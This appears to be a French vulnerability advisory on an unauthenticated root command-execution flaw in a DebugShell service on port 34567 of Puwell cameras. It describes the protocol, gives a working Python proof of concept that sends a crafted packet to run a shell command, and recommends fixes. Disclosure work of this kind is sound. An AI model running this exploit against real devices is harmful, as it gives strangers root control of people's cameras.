Le protocole propriétaire exposé sur le port TCP 34567 des caméras Puwell contient une interface de débogage (DebugShell) activée dans les firmwares de production et accessible via un service TCP écoutant sur ce port, permettant à un utilisateur non authentifié d’exécuter des commandes système arbitraires avec les privilèges root.
Le firmware expose un service de communication non documenté sur le port TCP 34567. Ce service utilise un protocole binaire propriétaire transportant des messages JSON, initialement destiné à des outils de gestion CameraIP permettant l’administration d’un parc de caméras, et incluant une fonctionnalité de type backdoor ou de développement laissée dans les firmwares de production.
Un attaquant disposant d’un accès réseau à l’équipement (depuis le réseau local ou via le mécanisme de traversée NAT/UDP du constructeur) peut communiquer directement avec ce service. Aucun mécanisme d’authentification, d’autorisation ou de validation de session n’est appliqué avant le traitement des requêtes privilégiées.
Figure 1 : Decompiled code showing opcode "Command" handling
Figure 2 : Decompiled code showing JSON decoding (length, buffer start)
En envoyant des messages spécialement conçus contenant une charge JSON appropriée, un attaquant peut invoquer le gestionnaire Command exposé par DebugShell. La commande fournie est transmise directement au système d’exploitation sous-jacent sans aucune validation ni neutralisation, ce qui permet une exécution arbitraire de commandes avec les privilèges root.
Une exploitation réussie entraîne une compromission complète de l’équipement concerné. Les captures issues de l’analyse par rétro-ingénierie ci-dessous illustrent l’implémentation vulnérable.
Figure 3 : Conditional branch handling DebugShell requests before executing the supplied command buffer
Figure 4 : Unsanitized command execution path
Le protocole binaire reconstruit utilisé par le service TCP est présenté ci-dessous:
Figure 5 : Binary protocol carrying the JSON payload processed by the TCP service on port 34567
L’en-tête du protocole contient un champ Session ; toutefois, sa valeur n’est jamais vérifiée ni associée à une connexion authentifiée. Toute valeur arbitraire est acceptée, ce qui permet à un attaquant d’envoyer des requêtes privilégiées sans établir de session légitime au préalable. Ce comportement est identique à celui observé dans la vulnérabilité précédemment signalée affectant le même protocole.
La preuve de concept Python ci-dessous démontre que le service TCP exposé sur le port 34567 accepte et traite des messages du protocole sans exiger d’authentification ni d’établissement préalable de session.
Codeimport socket
import json
import sys
import struct
TARGET_IP = "192.168.2.42"
def _encode(payload):
if payload is None:
return b""
if isinstance(payload, dict):
return json.dumps(payload, separators=(",", ":")).encode() + b"\x00"
return str(payload).encode() + b"\x00"
def build_new(cmd: int, session: int, seq: int, payload) -> bytes:
data = _encode(payload)
hdr = struct.pack("<4sIIIHHI",
b"\xff\x00\x00\x00", 0xA55A0000,
session, seq, cmd, 0x0000, len(data),
)
return hdr + data
def exchange(sock, cmd: int, session: int, seq: int, payload):
pkt = build_new(cmd, session, seq, payload)
sock.sendall(pkt)
def do_rce(sock, cmd_str: str, session: int = 0):
payload = {
"Name": "DebugShell",
"SessionID": f"0x{session:08x}",
"OprName": "Ping",
"DebugShell": cmd_str,
}
exchange(sock, 0x2B2C, session, 2, payload)
def connect_to(ip: str, port: int):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5.0)
s.connect((ip, port))
return s
sock = connect_to(TARGET_IP, 34567)
do_rce(sock, "id > /tmp/pwned.txt", 0)
sock.close()
L’interface DebugShell devrait être entièrement supprimée ou désactivée dans les firmwares de production.
Si une interface de débogage est nécessaire à des fins de développement, elle ne devrait être incluse que dans des versions de développement et doit imposer des mécanismes robustes d’authentification et d’autorisation. L’accès au service devrait être limité à des interfaces d’administration de confiance, désactivé par défaut et ne jamais être exposé à des réseaux non fiables.
Par ailleurs, tous les champs du protocole entrant, y compris les identifiants de session, devraient être correctement validés avant le traitement d’opérations privilégiées.